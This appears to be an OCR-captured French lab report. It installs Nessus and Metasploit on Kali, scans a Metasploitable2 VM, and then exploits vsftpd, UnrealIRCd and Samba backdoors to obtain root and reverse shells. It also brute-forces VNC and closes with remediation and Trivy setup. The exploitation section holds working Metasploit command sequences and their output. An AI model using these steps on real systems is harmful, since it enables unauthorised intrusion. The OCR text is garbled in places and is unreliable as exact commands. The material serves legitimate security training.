2 Create a Virtual Hard Disk MNow

Hard Disk File Location and Size

Hard Disk File Type and Variant

VDI (VirtualBox

visk Image)

@ Use an Existing Wirtual Hard Disk File

Metasploitable.vmdk (Normal, 8,00 Gio)

C 0 Do Mot Add a Virtual Hard Disk

Aide

Pour en finir, on clique sur le bouton finish.

v

Outils
Nouveau groupe

EeaP™ ubuntuza 1
& Sauvegardée

B ubuntu20
"y ——

e Metasploitable2 =
& Ereinte =

On démarrer la machine puis on se connecte par le nom

par défaut.

=]

e -
Nouvelle Ajouter  Comfiguration
= General

Nom : Metasploitablez

Systeme dexploitation - FreeBSD (64-bit)

(8] System
Mémaire vive 1024 Mo
Ordre d'amorgage
Acceiération :

M atfichage
Memoire vidéo 16 Mo
Contréleur graphique VMSVGA
Serveur de bureau & distance : Désactive

Enregistrement : Désactive

Précedent

Démarrer

Disquette, Optique, Disque dur
Pagination imbriquée

choose Annuler

Finish Annuler

= previsualisation

Metasploitable2

et le mot de passe d’administrateur
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111.2.3 Machine d’audit : Kali Linux avec Metasploit et Nessus

111.2.3.1 Installation de metasploit

# snap install metasploit-framework

L—(root@ sergio)-[/home/sergio]

# snap install metasploit—framework‘—

La commande « snap » n'a pas été trouvée, mais peut étre installée avec :

apt install snapd

Voulez-vous l'installer ? (N/0)0 e

apt install snapd

Les paquets suivants ont été installés automatiquement et ne sont plus nécessaires :

firebird3.0-common libgdal35 1ibjx10.9 libunwind-19
firebird3.0-common-doc 1libgll-mesa-dev libmbedcrypto7t64 1libwebrtc-audio-processingl
libbfiol libgles-dev libmsgraph-0-1 1ibx265-209

111.2.3.2 Installation de Nessus

Sur le navigateur on va sur le site officiel pour télécharger Nessus pour Kali.

 Kali Docs 8 K

Go g|e Installer Nessus Kali x L & Q LU H

Tenable
ww.tenable.com > blog - Traduire cette page &

https:
How to Get Started with Nessus on Kali LiNUX e

3 avr. 2017 — Step 1: Purchase Nessus and obtain an Activation Code - Step 2: Download Nessus -

Step 3: Install Nessus - Step 4: Configure and use Nessus.

On clique sur lien de Téléchargement.

Is = Kali Docs

@tenable Platform Products Solutions Why Tenable Rescurces Partners Support Company B® a4 m

Step 1: Purchase Nessus and obtain an Activation Code

Nessus can be purchased directly from Tenable or through an authorized reseller.

Atter purchasing Nessus, an Activation Code will be available on the Tenable Support Portal

Step 2: Download Nessus *

Navigate to the Tenable Nessus downloads page and select the appropriate version for your installation of Kali Linux, either the 32-bit or

64-bit Debian package.

Ici, on procéde comme nous indique la capture.

Tenable Nes:
Tenable Nessus

1 Download and Install Nessus Summary

Choose Download Release Date: Sep 11, 2024

Version Platform Release Notes:

Eimuix= Ubtntu ~ amas4

Signing Keys:

Linux - SUSE 12 - x86_64

@ Download

Linux - SUSE 15 - x86_64
9.4 ME 15 Entorpr
Linux - Ubuntu - aarch64

6.2 ME

Linux - Ubuntu - amd64
2 Start and Setup Nessus 69,9 MB - Ubuntu 16.04, 18.04, 20.04, 22.04,

and 24,04 AMDB4

Linux - Ubuntu - 1386
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1 Agree

# Exploit-DB = Google Hacking DB 1 OffSec

Pour décompresser un fichier d’extension deb on fait : dpkg -i fichier et pour supprimer on

fait dpkg -r fichier

# dpkg -i Nessus-10.8.3-ubuntul604 _amd64.deb

[:—(rootéésergio)—[/home/sergio]
# cd Téléchargements e

[:—(rootﬁésergio)—[/home/sergio/Téléchargements]
# 1s
Nessus-10.8.3-ubuntul604_amd64.deb

[:—(root6§sergio)—[/home/sergio/Téléchargements]
# dpkg -1 Nessus-10.8.3-ubuntul604_amd64.deb efws

Sélection du paquet nessus précédemment désélectionné.

(Lecture de la base de données... 438977 fichiers et répertoires déja installés.)
Préparation du dépaquetage de Nessus-10.8.3-ubuntul604_amd64.deb

Sortie de la commande

HASH : (DRBG) : Pass

CTR : (DRBG) : Pass

HMAC : (DRBG) : Pass

DH : (KAT_KA) : Pass

ECDH : (KAT_KA) : Pass

RSA_Encrypt : (KAT_AsymmetricCipher) : Pass
RSA_Decrypt : (KAT_AsymmetricCipher) : Pass
RSA_Decrypt : (KAT_AsymmetricCipher) : Pass
INSTALL PASSED

Unpacking Nessus Scanner Core Components ...

- You can start Nessus Scanner by typing /bin/systemctl start nessusd.service
- Then go to https://sergio:8834/ to configure your scanner

Aprés la décompression, on verifie le status de Nessus par la commande suivante :
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# systemctl status nessusd.service

,_—( root% sergio)-[/home/sergio/Téléchargements]
# systemctl status nessusd.service dwmes
o nessusd.service - The Nessus Vulnerability Scanner
Loaded: loaded (/usr/lib/systemd/system/nessusd.service; ; preset: )
Active: inactive (dead)

On voit qu’il n’est pas activer, donc on le redémarre et vérifions en suite le status.
# systemctl restart nessusd.service

# systemctl status nessusd.service

E( root@ sergio)-[/home/sergio/Téléchargements]
# systemctl restart nessusd.sService .

[:—(root@;\ergio)—[/home/sergio/TéIéchargements]
# temctl status nessusd.service e

nessusd.service - The Nessus Vulnerability Scanner
Loaded: loaded (/usr/lib/systemd/system/nessusd.service; ; preset: )
Active: since Sun 2025-03-02 20:01:17 CET; 5s ago

Invocation: 37f43fd6cf694bf3b9592dbef8610970
Main PID: 39190 (nessus-service)
Tasks: 13 (limit 4550)
Memory: 126.9M (peak: 133.2M)
CPU: 4.734s
CGroup: /system.slice/nessusd.service
39190 /opt/ne 1s/sbin/nessus-service -q

39192 nessusd -q
mars 02 20:01:17 sergio systemd[1]: Started nessusd.service - The Nessus Vulnerability Scanner.

mars 02 20:01:20 sergio nessus-service[39192]: Cached 0 plugin libs in Omsec
mars 02 20:01:20 sergio nessus-service[39192]: Cached 0 plugin libs in Omsec

Avec I’url : https://sergio:8834/ suivant, on accéde a I’interface de Nessus pour la suite.

Warning: Potential Security Risk Ahead

Firefox detected a potential security threat and did not continue to sergio. If you visit t

attackers could try to steal information like your passwords, emails, or credit card detai

What can you do about it?

most likely with th

Go Back (Recommended) Advanced... S

Someone could be trying to impersonate the site and you should not continue.
Websites prove their identity via certificates. Firefox does not trust sergio:8834 because its certificate
issuer is unknown, the certificate is self-signed, or the server is not sending the correct intermediate

certificates.

Error code

Go Back (Recommended) Accept the Risk and Continue

On accepte le risque pour continuer.
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Otenable

Nessus

Welcome to Ness

You can clic s nfigure the Nessus proxy,
feed, and encryption p ord settings before
art the Installation, or you can select Reglster

Offline to configure an offline allation

When you are ready, click Continue to proceed with
the Installation.

W Register Offline

On clique sur Continuer.

tenable
Nessus

First Name

O TR

Email

serglooracle400@gm.

Ensuite, renseignons les champs comme ci-haut puis un clique sur Resgiter.
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)tenable
NESSTS

Otenable

NESSS

Create a user account
Create a Ne: inistrator user account. Use this
username and ord to log In to Nessus.

Username *

sergio

Password *

passer123/

Apres cela, on clique sur le bouton submit.

Otenable

Nessus

Initializing
Please wait while Nessus s Initializing.

Downloading plugins...
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111.2.4 Audit avec Nessus

111.2.4.1 Scanne de la machine Linux avec Nessus

Une fois que I’initialisation terminer, on attend quelque instants pour que les plugins soient
complétement installer.

@ @ D

O @ & sezo €Y

New Folder © New:s

Tenable News

Google Gerrit
Unauthorized Access
to Code Tickets ...

Il nous affiche ce message dés I’installation complet des plugins. Donc on clique sur close.

tenable
Plugins are done compiling.

Welcome to Nessus Essentials
To get started, launch a host discovery scan to Identify what hosts on your
network are avalla 1. Hosts that are discovered through a discovery
scan do not count towards the 16 host limit on your license.

Enter es, IPv4 addr or IPv6 addresses. For IP addresses,
you ¢ n (e.g., 192.1 24),

19

192.168.0.1)

Targets

Submit

On créer un nouveau dossier comme suite.

@ A sego o

New Folder © New Scan
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Puis, on définit le nom de notre dossier comme nous montre la capture ci-dessous.

unter = Exploit-DB Hacking DB

tenable

New Folder

Cancel

! Create

“ @

Kali Linux g Kal = Kali Docs 3 Kali Forums & Kali NetHunter & Exploit-DB

Jtenable NessusEssentials  Scans s

Import

X Kali NetHunter

Otenable nessu

Scanner

DISCOVERY
F

Host Discovery Ping-Only Discovery

VULNERABILITIES

°) >, L& @

Basic Network Scan Credential Validation Advanced Scan Advanced Dynamic Scan Malware Scan

Tenable News

o 1

sergio o

New Folder © NewScan

Nessus 10.8.0/ 10.8.1 Agent
Reset

On clique sur Basic Network Scan. Mais bien avant cela, nous devons vérifier ’adresse IP de

notre machine a audité.

sfadminﬂmetasplnitahle:"$
ethd Link encap:Ethernet HiWaddy 98:00 27 :el:cl1:98
inet addr:19Z.168.1.9 Boca=st:19Z.168 .1 .Z55
inett addr: fe80: a0@:27FfFf :feel:c198-6<1 Scope :Link
UF BROADCAST RUNMNING MULTICAST MTU: 1500 Metric:1
RX packets:2969 errors:0 dropped:0 owverruns: 0 frame:0
TX packet=s:113 errors:0 dropped: @ overruns:0 carrier:Q
collision=s:0 txgueuelen: 1000
RX bytes:195470 (190.83 KB) TX bytes: 15419 (15.0 KB
Base address!0xd0zZ0 MHemory: fOZ0000Q0—-FfOZZ2Z0000

ifconfig

Link encap:Local
inet addr 127 .0 .0 .1

Loopback
Mask 255 .0 .0 .0

inett addr: t:1-128 Scope :Host

UF LOOFPBACK RUNMNING MTU:16436 Metric:1

RX packets:331 errvors:0 dropped: 0 overruns:: 0 Frame:
TX packets:331 errvors:0 dropped: 0 overruns:0 carrier: 0
collizions:10 txgueuselen: O
RX bytes:136913 (133.7 KB)

T¥ bytes: 1363913 (133 .7 KB

Mask 255 .255.255 .0
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On fait un ping sur la machine a audité pour tester la connectivité avec notre machine Kali.

L—(root@sergio)—[-]

# ping -c2 192.168.1.9 ==

PING 192.168.1.9 (192.168.1.9) 56(84) bytes of data.

64 bytes from 192.168.1.9: icmp_seq=1 ttl=64 time=0.803 ms
64 bytes from 192.168.1.9: icmp_seq=2 ttl=64 time=0.934 ms

— 192.168.1.9 ping statistics —
2 packets transmitted, 2 received, 0% packet loss, time 1022ms
rtt min/avg/max/mdev = 0.803/0.868/0.934/0.065 ms

Ensuite, faisons comme nous montre la capture suivante.

ADVANCED

Ping hosts using:

Sauvegardons pour continuer. Puis on clique sur le bouton comme nous montre la capture ci-

dessous pour démarrer 1’audit.
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« C @ A

Kal Linux @ Kali Tools & Kall Docs 3 Kali Forums % Kali NetHunter & Exploit-DB Offsec

{Otenable nessusEssentiols scans Settings

Master2

Hame Scan Type Schedule

Auditsécurite Vulnerability On Demand

Kali Tools

‘Otenable nessus Essentiols

Kall Linux @8 = Kali Docs 8 Kali Forums €€ Kali NetHunte: Google Hacking DB © Offsec

Scans.

Hame Scan Type schedule

Auditsécurite Vulnerability ©n Demand

si tout va bien on aura |

« < @ T &

Kalilinux 8 KaliTools w KaliDocs 3 Kali Forums € Kali NetHunter = Fxploit DB = Goagle Hacking DB 1% OffSec

Otenable NessusEssentials  Seans Settings

AuditSécurité

Hosts (3 Vulnerabilities 47 History 1

Filter ~ Q  1Hos

- Vulnerabilities v

+ EEEEN

Haost

= 192.168.1.9

Tenable News

Google Cloud
Platform (GCP)
Privilege Escalation
V...

111.2.4.2 Génération de rapport d’audit détaillé

On clique sur le bouton Report pour générer le rapp

Download Tenable Nes > Messus Essentials (Folde X _jldrac pef

Cc @

Kali Linux

sergio

@ KaliTools * KaliDocs M Kali Forums e Kali NetHunter

Otenable Nessus Essentials

Exploit-DB = Google Hacking DB ) Offsec

Scans Settings

AuditSécurité Configure

Hosts (1 Vulnerabilities 68 Remediations 3 History

Filter «

Host Vulnerabilities »

192.168.1.9

Tenable News

Cybersecurity
Snapshot: Ghost
Ransomware Group
Tar...

Audit Trail

e a

w0 €@

import New Faider © Newscan

Last Scanned =

s €9

Impart New Folder © New sean

Last Scanned v

Today at 1:14 FM

(2] -

sergio @9

Configure

Scan Details

policy: Basic Network Sean

Status: Running
cvs5v3.0
Local Scanner

Today at 1:14 PM

Severity Base:
Seanner:
Start:

Vulnerabilities
Critical
‘ High
- edium
Low

.
-
Infa

e a

o €Y

Export

Launch = Report o

Scan Details

Policy: Basic Network Scan

Status: Completed
cvssv3o 4
Local Scanner
Today at 1:14 PM
Today at 1:28 PM
14 minutes

Severity Base:
Scanner:
Start:

End;

Elapsed:

Vulnerabilities

Critical
High
Medium
Low
Info
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Puis, on procede d’apres la capture suivante.

li NetHunter = Exploit-DB = Googl

Generate Report

Report Format: | HTML (& FDF

Select a Report Template:

Template Description:
This 1 detalled vulnerabilit

Filters Applied:

None

Formatting
“ nou

Cancel

Dans le Gestionnaire des fichiers, on peut voir notre rapport générer. Renommer le (facultatif)

Emplacements

5 Téléchargements
Périphériq
Bs n er « OXVKAXRTwEljdXIpdMOp_o3rr2ipdf »

Réseau

O Parcourire ré

o A wwo €Y

Configure  Audit Trail Report  Export =

68

Scan Details

Tenable News

How To Reduce DNS
Infrastructurs Risk
To Secure Yo...
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Configure  Audit Trail [ET I Report  Export ~

Vulnerabilities
Filter ¥
CVSSv  VPRw SSv  Name & Family & Host Details
10.0* 7.4 0 UnreallRCd Back...  Backdoors © 2 2
10.0% VNI Gain a shell remotely @ r Ubuntu 8.04
rsion2an..  Service detection

.8 Bind Shell Backd...  Backdoors
Tenable News KB:
Google Cloud B Apache To.. Web Servers
Platform (GCP) Vulnerabilities
Privilege Escalation c - i SSL (Multipl...  Gain a shell remotely E] C ;
Vo

rlogin De.. Service

Otenable Nessus

111.2.5 Exploitation avec Metasploit

D'apres le rapport Nessus, le systéme présente plusieurs vulnérabilités critiques et élevées.

111.2.5.1 Identifier et exploiter des vulnérabilités

e Préparation de I'environnement Metasploit

o Installation de Metasploit (si non installé)

Si Metasploit n’est pas installé sur notre machine Kali, installons-le avec la commande suivante :

# sudo apt update && sudo apt install metasploit-framework -y

[:—(rootissergio)—[/home/sergio]
# sudo apt update & sudo apt install metasploit-framework -y (s

Réception de
Réception de
Réception de

http://kali.download/kali kali-rolling InRelease [41,5 kB]
http://kali.download/kali kali-rolling/main amdé64 Packages [20,6 MB]
http://kali.download/kali kali-rolling/main amdé64 Contents (deb) [49,0 MB]
Réception de http://kali.download/kali kali-rolling/contrib amd64 Packages [115 kB]
Réception de http://kali.download/kali kali-rolling/contrib amd64 Contents (deb) [267 kB]
Réception de :6 http://kali.download/kali kali-rolling/non-free amd64 Packages [202 kB]
Réception de :7 http://kali.download/kali kali-rolling/non-free amd64 Contents (deb) [882 kB]
97% [3 Contents-amd64 store 0 B]

s WN
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Teste de connectivité par la commande suivante :
# ping -c3 192.168.1.9

[:—(rootﬁisergio)—[/home/sergio]

# ping -c3 192.168.1.9 e
PING 192.168.1.9 (192.168.1.9) 56(84) bytes of data.
64 bytes from 192.168.1.9: icmp_seq=1 ttl=64 time=1.13 ms
64 bytes from 192.168.1.9: icmp_seq=2 ttl=64 time=0.426 ms
64 bytes from 192.168.1.9: icmp_seq=3 ttl=64 time=0.342 ms

— 192.168.1.9 ping statistics —

3 packets transmitted, 3 received, 0% packet loss, time 2028ms
rtt min/avg/max/mdev = 0.342/0.631/1.126/0.351 ms

Ensuite, démarrons Metasploit par la commande suivante :

# msfconsole

[:—(rootQSsergio)—[/home/sergio]
# msfconsole

Metasploit tip: View advanced module options with advanced
[Ix]1 starting the Metasploit FrameWork console .../

111.2.5.2 Scanne de la cible avec Nmap
Avant de lancer une exploitation, il faut d’abord identifier les services et versions en cours

d’exécution.

> nmap -sV -sC -A 192.168.1.9

msf6 > nmap -sV -sC -A 192.168.1.9 e
[*] exec: nmap -sV -sC -A 192.168.1.9

Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-04 01:30 CET
Nmap scan report for 192.168.1.9 (192.168.1.9)

Host is up (0.00093s latency).

Not shown: 977 closed tcp ports (reset)

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

| _ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:

| STAT:

| FTP server status:

| Connected to 192.168.1.10

| Logged in as ftp

| TYPE: ASCII

| No session bandwidth limit

| Session timeout in seconds is 300

| Control connection is plain text

| Data connections will be plain text

| vsFTPd 2.3.4 - secure, fast, stable

| _End of status

22/tcp open ssh 0OpenSSH 4.7p1 Debian 8ubuntul (protocol 2.0)
| ssh-hostkey:

| 1024 60:0f:cf:el:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)

|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)

23/tcp  open telnet Linux telnetd

25/tcp  open smtp Postfix smtpd

| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=0COSA/stateOrProvinceName=There is no such thing outside US/countryN
me=XX

| Not valid before: 2010-03-17T14:07:45

Cela permet d’obtenir des informations sur :

e les services en écoute (Apache, SSH, BIND, etc.)
e les ports ouverts
e les versions des logiciels
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111.2.5.3 Analyse des vulnérabilités exploitables
Nmap révéle plusieurs services vulnérables sur la machine cible Metasploitable 2 (192.168.1.9).
On va maintenant exploiter ces vulnérabilités avec Metasploit et proposer des solutions

correctives.

111.2.5.4 Vulnérabilités critiques
Tableau c. vulnérabilités critiques

Version Vulnérabilité Exploit Metasploit
2.3.4 2 D Backdoor exploit/unix/ftp/vsfipd_234 backdoor

OpenS5H 2 P Clé& 55H faible auxiliary/scanner/ssh/ssh_known_hosts

4.7p1 (Debian)

Telnet Linux 2 cp Accés sans Exploitable manuellement

telnetd chiffrement

Postfix S5Lv2 activé auxiliary/scanner/ss1lfopenss1_drown

smtpd (DROWN)

Apache 5.5 8180/tcp Upload de exploit/multishttp/tomcat_mgr_upload

Tomcat fichiers ISP
UnreallRCd 2.8, 6667 /tcp Backdoor exploit/unix/irc/unreal_ircd_3281_backdoor

Bind Shell 1524/tcp Root shell exploit/multishandler
ouvert
Froto 3.3 5900/tcp Faible mot de auxiliary/scanner/vnc/vnc_login
passe

2049/tcp Partages non showmount -e 192.168.1.9

restreints

3.0.20 139, SMB Signing exploit/multi/samba/usermap_script

A45/tcp désactivé

111.2.5.5 Exploitation des vulnérabilités avec Metasploit
= Exploitation de vsftpd 2.3.4 (port 21)

Ce service FTP contient une backdoor intégrée permettant un acces shell root.
msf6 > use exploit/unix/ftp/vsftpd_234 backdoor

> set RHOSTS 192.168.1.9

> set RPORT 21

> exploit

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor e

[*] No payload configured, defaulting to cmd/unix/interact

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.9 g

RHOSTS => 192.168.1.9

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21 =

RPORT = 21

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit e

[*] 192.168.1.9:21 - Banner: 220 (vsFTPd 2.3.4)

[#] 192.168.1.9:21 - USER: 331 Please specify the password.
192.168.1.9:21 - Backdoor service has been spawned, handling ...
192.168.1.9:21 - UID: uid=0(root) gid=0(root)

[*] Found shell.
[*] Command shell session 1 opened (192.168.1.10:33011 — 192.168.1.9:6200) at 2025-03-04 01:54:58 +0100
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s -

[*] Command shell session 2 opened (192.168.1.10:38531 — 192.168.1.9:6200) at 2025-03-04 02:00:35 +0100

bin

boot

cdrom

dev

etc

home
initrd
initrd.img
1lib
lost+found
media

mnt
nohup.out
opt

proc

root

sbin

srv

sys

tmp

Si I’exploitation réussit, on obtiendra un shell root directement comme nous montre la capture

ci-haut.

= Exploitation d'UnrealIRCd (port 6667)

UnreallRCd 3.2.8.1 contient un backdoor permettant I’exécution de commandes a distance.

Voici I’adresse IP de la machine Kali (192.168.1.10) et celle de Metasploitable2 (192.168.1.9)

L—(root@ sergio)-[~]
# ifconfig e

eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>
inet 192.168.1.10 netmask 255.255.255.0
inet6 fe80::a0@:27ff:fel4:efa2 prefixlen 64
ether 08:00:27:14:ef:a2 txqueuelen 1000
RX packets 8141 bytes 902093 (880.9 KiB)
RX errors @ dropped @ overruns @ frame @
TX packets 2652 bytes 215496 (210.4 KiB)
TX errors @ dropped @ overruns @ carrier 0

msf6 > use exploit/unix/irc/unreal_ircd_3281 backdoor

mtu 1500

broadcast 192.168.1.255
scopeid 0x20<link>
(Ethernet)

collisions 0

> set PAYLOAD cmd/unix/reverse
> set RHOSTS 192.168.1.9
> set LHOST 192.168.1.10

Choisir un payload (obligatoire)
IP cible
VOTRE IP

> set LPORT 4444
> set RPORT 6667

Port d'écoute

Port IRC cible

msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor ==

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set
PAYLOAD = cmd/unix/reverse

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) >
RHOSTS = 192.168.1.9

msfé exploit(unix/irc/unreal_ircd_3281_backdoor) >
LHOST = 192.168.1.10

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) >
LPORT = 4444

msfé exploit(unix/irc/unreal_ircd_3281_backdoor) >
RPORT = 6667

set

set

set

set

PAYLOAD cmd/unix/reverse s==
RHOSTS 192.168.1.9 e

LHOST 192.168.1.10 ==

LPORT 4444 owm

RPORT 6667
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Vérification finale

> show options

msfé exploit(unix/irc/unreal_ircd_3281_backdoor) > Show Options s

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

Name Current Setting Required Description

CHOST no The local client address

CPORT no The local client port

Proxies no A proxy chain of format type:host:port[,type:host:port][ ... ]

RHOSTS 192.168.1.9 yes The target host(s), see https://docs.metasploit. com/docs/usxng metasploit/basics/using-metas

ploit.html
RPORT 6667 yes The target port (TCP)

Payload options (cmd/unix/reverse):

Name Current Setting Required Description
LHOST 192.168.1.10 ves The listen address (an interface may be specified)
LPORT 4444 ves The listen port

Exploit target:

Id Name

o Automatic Target

Exécution

>run

R ST ST e A e/ Goram S R e A U —
[ CP double handler on 192.168.1.10:4444
L165.1.9:6667 ..

i =*= Looking up your hostname ...
: **> Found your hostname
command ...

"ADI/nqtoLaoqgqILlR\r\n"
Matching -..

is input ...
Command =hell szession 1 opened (192.168.1.10:4444 > 192.1685.1.9:41291) at 2025-03-04 03:06:02

.channel.cont
_message.conf
badwords.auit.conf

+ Exploitation de Samba (SMB) (port 445)

10100

Une vulnérabilité dans Samba 3.0.20 permet d’exécuter des commandes a distance.

> use exploit/multi/samba/usermap_script
> set RHOSTS 192.168.1.9

RHOSTS =>192.168.1.9

RPORT => 445

> exploit

6 > use exploit/multi/samba/usermap_script s
No payload configured, defaulting to cmd/unix/reverse_netcat
6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.1.9 ems
0STS = 192.168.1.9
f6 exploit(multi/samba/usermap_script) > set RPORT 445 «=
RPORT = 445
msf6 exploit(multi/samba/usermap_script) > exploit ems
[*] Started reverse TCP handler on 192.168.1.10:4444

]
sf

527

H
S

[#] Command shell session 1 opened (192.168.1.10:4444 — 192.168.1.9:60443) at 2025-03-04 03:57:17 +0100

1s
bin
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+ Attaque brute-force VNC (port 5900)

Si VNC a un mot de passe faible, on peut essayer de s’y connecter par les commandes

suivantes :

msf6 > use auxiliary/scanner/vnc/vnc_login
>set RHOSTS 192.168.1.9

> set RPORT 5900

> set PASSWORD password

> set VERBOSE false

> set BRUTEFORCE_SPEED 5

> run

msf6 > use auxiliary/scanner/vnc/vnc_login ===

msf6 auxiliary(scanner/vnc/vnc_login) > set RHOSTS 192.168.1.9 ===
RHOSTS = 192.168.1.9

msf6 auxiliary(scanner/vnc/vnc_login) > set RPORT 5900 =

RPORT = 5900

msf6 auxiliary(scanner/vnc/vnc_login) > set PASSWORD password ==
PASSWORD => password

msf6 auxiliary(scanner/vnc/vnc_login) > set VERBOSE false =
VERBOSE = false

msf6 auxiliary(scanner/vnc/vnc_login) > set BRUTEFORCE_SPEED 5e=m
BRUTEFORCE_SPEED = 5

msf6 auxiliary(scanner/vnc/vnc_login) > run ess

[*] 192.168.1.9:5900 - 192.168.1.9:5900 - Starting VNC login sweep
192.168.1.9:5900 - 192.168.1.9:5900 - Login Successful: :password
192.168.1.9:5900 - 192.168.1.9:5900 - Login Successful: :password

[#] 192.168.1.9:5900 - Scanned 1 of 1 hosts (100% complete)

[#*] Auxiliary module execution completed

+ Exploitation du Bind Shell Backdoor (port 1524)
Ce service est une porte dérobée laissée ouverte avec acces root.
msf6 > use exploit/multi/handler
> set PAYLOAD linux/x86/shell_reverse_tcp
>set LHOST 192.168.1.10
> set LPORT 1524

>run

msf6 > use exploit/multi/handler e=

[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD linux/x86/shell_reverse_tcp e
PAYLOAD = 1linux/x86/shell_reverse_tcp

msf6 exploit(multi/handler) > set LHOST 192.168.1.10cms
LHOST = 192.168.1.10

msf6 exploit(multi/handler) > set LPORT 1524 ==

LPORT = 1524

msf6 exploit(multi/handler) > runes

[#] Started reverse TCP handler on 192.168.1.10:1524

|
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+ Détails des vulnérabilités avec CVE, EPSS et CVSS

Vulnérabilité o Score de risque
Ghostcat (Tomcat AJP) CVE-2020-1938 . A Critique
Tomcat £ 5.5 - | A Critique
UnreallRCd Backdoor CVE-2010-2075 . A Critique
Bind Shell Backdoor - . A Critique
SSH Weak Key CVE-2008-0166 . . A Critique

SSLv2/SSLv3 (DROWN, POODLE)  CVE-2016-0800, CVE-2014-3566 ] . A Critique

rlogin & rsh activés CVE-1999-0651 : . A Elevé

+ Solutions correctives et leur mise en ceuvre

o Mettre a jour Tomcat

o Désactiver rlogin et rsh

o Désactiver SSLv2 et SSLv3

o Désactiver UnrealIRCd

o Renforcer la sécurité SSH

o Redémarrer SSH

o Lorsqu’on configure les services, on doit désactiver les comptes par défauts
o Seécurité pout le protocole : sftp qui utilise ssh pour chiffrée les données

o Et ftps qui utilise le protocole TLS pour la sécurité de ftp

111.3. Audit des images Docker avec Trivy

Trivy est un outil open source d'aqua security permettant de rechercher les vulnérabilités et les
erreurs de configuration. Cet outil fonctionne a différents niveaux : il peut évaluer
I'infrastructure en tant que code, inspecter les images de conteneurs, fournir une assistance pour
les fichiers de configuration, analyser les implémentations Kubernetes et examiner le code dans
un référentiel Git. Grace a sa simplicité d'utilisation, trivy peut étre simplement intégré dans un
pipeline CI/CD (DevSecOps) en installant et en ajoutant des binaires au projet. Trivy offre une
visibilité complete sur les packages de langage de programmation et de systéeme d'exploitation
et dispose d'une large base de données de vulnérabilités qui permet des analyses rapides des
CVE critiques. Gréace aux diverses avancees de l'outil, il a aidé les testeurs de pénétration et les
chercheurs en cybersécurité a assurer des analyses continues, ce qui rend le processus
DevSecOps plus rapide et plus efficace. Voici le lien pour I’installation de trivy :
https://www.hackingarticles.in/containers-vulnerability-scanner-trivy/
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+ Installation
Pour installer le paquet trivy, on procéde comme suite :

# sudo apt-get install wget apt-transport-https gnupg Isb-release

3 # sudo apt-get install wget apt-transport-https gnupg lsb-release ==
Lecture des listes de paquets... Fait
Construction de 1l'arbre des dépendances

Lecture des informations d'état... Fait
lsb-release est déja la version la plus récente (11.1.0ubuntu2).
lsb-release passé en « installé manuellement ».

# wget -qO - https://aquasecurity.github.io/trivy-repo/deb/public.key | sudo apt-key add -

# echo deb https://aquasecurity.github.io/trivy-repo/deb $(Isb_release -sc) main | sudo tee
[etc/apt/sources.list.d/trivy.list

# wget -qO - https://aquasecurity.github.io/trivy-repo/deb/public.key | sudo apt-key add - =
OK
#
s # echo deb https://aquasecurity.github.io/trivy-repo/deb $(1lsb_release -sc) main | sudo tee /etc/a
pt/sources.list.d/trivy.list ===
deb https://aquasecurity.github.io/trivy-repo/deb focal main
H #

Aprés cela, on fait la mise a jour de dépbt puis on installe trivy.
# sudo apt-get update
# sudo apt-get install trivy -y

3 # sudo apt-get update e

Atteint :1 http://security.ubuntu.com/ubuntu focal-security InRelease
Atteint :2 http://sn.archive.ubuntu.com/ubuntu focal InRelease

Atteint :3 http://sn.archive.ubuntu.com/ubuntu focal-updates InRelease

3 # sudo apt-get install trivy -y ===
Lecture des listes de paquets... Fait

Construction de 1'arbre des dépendances

Lecture des informations d'état... Fait

4+ Installation de Docker

Le lien pour installer docker et le suivant :

https://www.digitalocean.com/community/tutorials/how-to-install-and-use-docker-on-
ubuntu-20-04

Faisons la mise a jour paquets.
# apt update

G # apt update ===
Atteint :1 http://sn.archive.ubuntu.com/ubuntu focal InRelease

Atteint :2 http://security.ubuntu.com/ubuntu focal-security InRelease
Atteint :3 http://sn.archive.ubuntu.com/ubuntu focal-updates InRelease

On télécharge le certificat officiel comme suite.
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# sudo apt install apt-transport-https ca-certificates curl software-properties-common

H # sudo apt install apt-transport-https ca-certificates curl software-properties-common s
Lecture des listes de paquets... Fait
Construction de l'arbre des dépendances

Lecture des informations d'état... Fait
ca-certificates est déja la version la plus récente (20240203~20.04.1).
curl est déja la version la plus récente (7.68.0-1lubuntu2.25).

+ Importation de la clé GPG manquante
Ensuite, on créer un fichier keying dans /etc/apt puis on importe la clé GPG.

# sudo mkdir -p /etc/apt/keyrings

# # curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo tee
[etc/apt/keyrings/docker.gpg > /dev/null

# sudo chmod a+r /etc/apt/keyrings/docker.gpg

# sudo mkdir -p /etc/apt/keyrings e
# curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo tee /etc/apt

/keyrlngs/docker gpg > /dev/null ==
# sudo chmod a+r fetc/apt/keyrings/docker.gpg e
#

# echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg]
https://download.docker.com/linux/ubuntu $(Isb_release -cs) stable" | sudo tee

letc/apt/sources.list.d/docker.list > /dev/null

# echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/do
cker.gpg] https //download.docker.com/1linux/ubuntu $(1lsb_release -cs) stable" | sudo tee /etc/apt/sou

rces.list.d/docker.list > /dev/null ==
s #

+ Ajouter le dépot Docker
# echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg]
https://download.docker.com/linux/ubuntu $(Isb_release -cs) stable” | sudo tee
